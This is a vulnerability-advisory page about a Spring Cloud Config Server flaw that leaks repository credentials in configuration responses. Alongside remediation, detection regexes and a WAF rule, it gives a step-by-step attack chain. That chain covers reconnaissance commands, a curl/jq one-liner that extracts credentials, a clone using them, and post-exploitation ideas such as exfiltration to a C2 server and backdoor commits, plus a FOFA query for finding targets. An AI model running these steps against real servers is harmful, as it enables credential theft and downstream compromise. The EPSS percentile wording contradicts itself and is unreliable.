CVE Professor
/
All CVEs
CVE-2026-59435

CVE-2026-59435 — Spring Cloud Config (5.0.6.1) — CWE-319

HIGH CVSS 7.5 ⚡ EPSS 0.2% NVD

Spring Cloud Config Server includes the full URI of its backend repository in the name of every property source it returns. When the Git or SVN repository URI contains credentials in its userinfo section, those credentials are returned in clear text in the response body of every successful configuration request.

Spring Cloud Config Server includes the full URI of its backend repository in the name of every property source it returns. When the Git or SVN repository URI contains credentials in its userinfo section, those credentials are returned in clear text in the response body of every successful configuration request.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity None I:N
Availability None A:N
EPSS — Exploit Prediction Scoring System
0.2%
30-day probability
In the 16. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑59435 is a confidentiality flaw in Spring Cloud Config Server 5.0.6.1.
When the backend Git or SVN repository URI contains user‑info (e.g. https://user:[email protected]), the Config Server includes the entire URI in the name field of every propertySource it returns. Because the name field is part of the JSON body sent to any client that requests configuration, the credentials are exposed in clear text to anyone who can reach the Config Server endpoint.

  • Root cause – The server does not sanitize or strip the user‑info component of the repository URI before embedding it in the response.
  • CWE – CWE‑319: Cleartext Transmission of Sensitive Information.
  • CVSS – 7.5/10 (High) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
  • * No authentication or authorization is required; the attack is purely network‑based and requires no user interaction.

    ⚡ Attack Chain

    NOTE: The following chain is a realistic, step‑by‑step example.
    The exact endpoint (/config/{app}/{profile}) and query parameters are the standard Spring Cloud Config API; if a vendor has customized the path, the same principle applies.

    1. Discovery & Reconnaissance

    StepTechniqueTools / Commands
    1.1Identify potential Config Server instancesnmap -p 8888 -sV <target>
    1.2Verify the endpoint and versioncurl -s http://<target>:8888/actuator/health → look for "configServer" or "spring.cloud.config.server" in the JSON.
    1.3Confirm version 5.0.6.1curl -s http://<target>:8888/actuator/info → parse "spring.cloud.config.server.version"

    2. Exploitation

    1. Send a normal configuration request

    curl -s http://<target>:8888/config/myapp/default

    2. Inspect the response
    The JSON contains an array propertySources. Each element has a name field that looks like:

    {
         "name": "https://user:[email protected]/org/repo.git",
         "source": { ... }
       }

    3. Extract credentials

    curl -s http://<target>:8888/config/myapp/default | \
         jq -r '.propertySources[].name' | \
         grep -oP '(?<=://).+?(?=@)'
       # Output: user:pass

    4. Clone the repository (if write access is granted)

    git clone https://user:[email protected]/org/repo.git

    5. Read secrets or modify the repo
    * Pull secrets stored in application.yml, secrets/, etc.
    * Push malicious changes if write access is available.

    Illustrative Example – The exact URI (/config/myapp/default) is the canonical Spring Cloud Config path. If a deployment uses a custom path (e.g., /config-service), replace it accordingly.

    3. Post‑Exploitation

    GoalHow it’s achieved
    Data exfiltrationCopy sensitive files from the repo and upload them to a C2 server.
    Privilege escalationIf the repo contains credentials for other services (DB, cloud APIs), use them to compromise downstream systems.
    PersistenceCommit a backdoor or malicious configuration that is automatically loaded by services on restart.
    Denial‑of‑ServicePush a misconfiguration that causes application failures (e.g., wrong DB URL).

    🌍 Real World Impact

    ImpactDescription
    ConfidentialityHigh – attacker learns the exact username/password (or token) used to access the backend repository.
    IntegrityNone – the vulnerability does not alter data.
    AvailabilityNone – no direct impact on service uptime.

    Practical consequences

  • Credential compromise → Full read/write access to the repository, potentially exposing secrets, API keys, or configuration files.
  • Supply‑chain risk – If the repository contains code for downstream services, an attacker can inject malicious code that propagates through the deployment pipeline.
  • Regulatory exposure – Loss of credentials may violate compliance requirements (GDPR, PCI‑DSS, etc.) if sensitive data is stored in the repo.

  • 🛡️ Remediation & Mitigation

    Affected Versions

  • Spring Cloud Config Server 5.0.6.1 (and any earlier 5.0.x releases that contain the same code path).
  • Patch

  • Upgrade to the latest Spring Cloud Config Server release where the issue is fixed (e.g., 5.0.6.2 or later).
  • * Verify the changelog or release notes for “credential leakage” or “sanitize property source names”.

    Workarounds

    1. Remove credentials from the repository URI
    * Use SSH keys or token‑based authentication instead of embedding user:pass in the URL.
    * Example: [email protected]:org/repo.git or https://<token>@github.com/org/repo.git (token should be scoped to read only).

    2. Configure the Config Server to strip credentials
    * If the server exposes a property or flag (e.g., spring.cloud.config.server.stripCredentials=true), enable it.
    * If not available, patch the source: modify the PropertySource creation logic to replace the name with a sanitized value.

    3. Restrict access to the Config Server
    * Place the server behind an internal firewall or VPN.
    Use Spring Security to require authentication for /config/* endpoints.
    * Example security config:

    @Configuration
         @EnableWebSecurity
         public class SecurityConfig extends WebSecurityConfigurerAdapter {
             @Override
             protected void configure(HttpSecurity http) throws Exception {
                 http
                     .authorizeRequests()
                     .antMatchers("/config/**").authenticated()
                     .and()
                     .httpBasic();
             }
         }

    4. WAF / ModSecurity rule

    SecRule RESPONSE_BODY "@rx https?://[^/]+:[^@]+@[^/]+" \
           "id:12345,phase:4,deny,status:403,msg:'Credential leakage detected in Config Server response'"

    5. Logging & Monitoring
    Enable detailed logging for /config/* requests.
    * Alert on repeated requests from external IPs or on responses containing ://user:pass@.

    Detection

    IndicatorHow to detect
    Response body contains :// followed by @Scan logs for https?://[^/]+:[^@]+@[^/]+ in the propertySources[].name field.
    Repeated /config/ requests from untrusted IPsCorrelate with firewall logs or WAF alerts.
    Unexpected clone attempts to the repoMonitor Git server logs for git clone https://user:pass@... patterns.

    ⚠️ Urgency

  • CVSS Score: 7.5 (High) – indicates a serious confidentiality breach.
  • Exploit Complexity: Low (network‑only, no authentication).
  • CISA KEV: Not listed, but the impact is significant for any environment exposing the Config Server.
Patching priority: Immediate. If the Config Server is exposed to the internet or to untrusted networks, patch or apply a workaround before the next patch cycle. Even if the server is internal, the credentials may still be valuable to an insider or compromised internal host.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

body="Whitelabel Error Page"
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-319
Affected Products (1)
Spring:Spring Cloud Config (5.0.6.1)
References & Advisories (2)
Related CVEs
6.9
CVE-2026-144417
### Summary The dataset-preview endpoint `POST /jmreport/qurestSql` substitutes request parameters into the d
7.3
CVE-2026-145020
SiYuan from 3.8.7 before 3.8.11 contains a TLS enforcement bypass vulnerability that allows remote attackers t
7.4
CVE-2026-132828
Cleartext Transmission of Sensitive Information vulnerability in Apache Camel Vertx HTTP component. This is
6.0
CVE-2026-144228
Electrum before 4.7.2 starts a full JSON-RPC server in GUI mode over cleartext HTTP, allowing local users to c
4.8
CVE-2026-107486
Cleartext Transmission of Sensitive Information vulnerability in Apache Camel Thrift component. This issue
8.2
CVE-2026-138727
An uncontrolled resource consumption vulnerability in WatchGuard Endpoint Security's HTTP communications compo
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner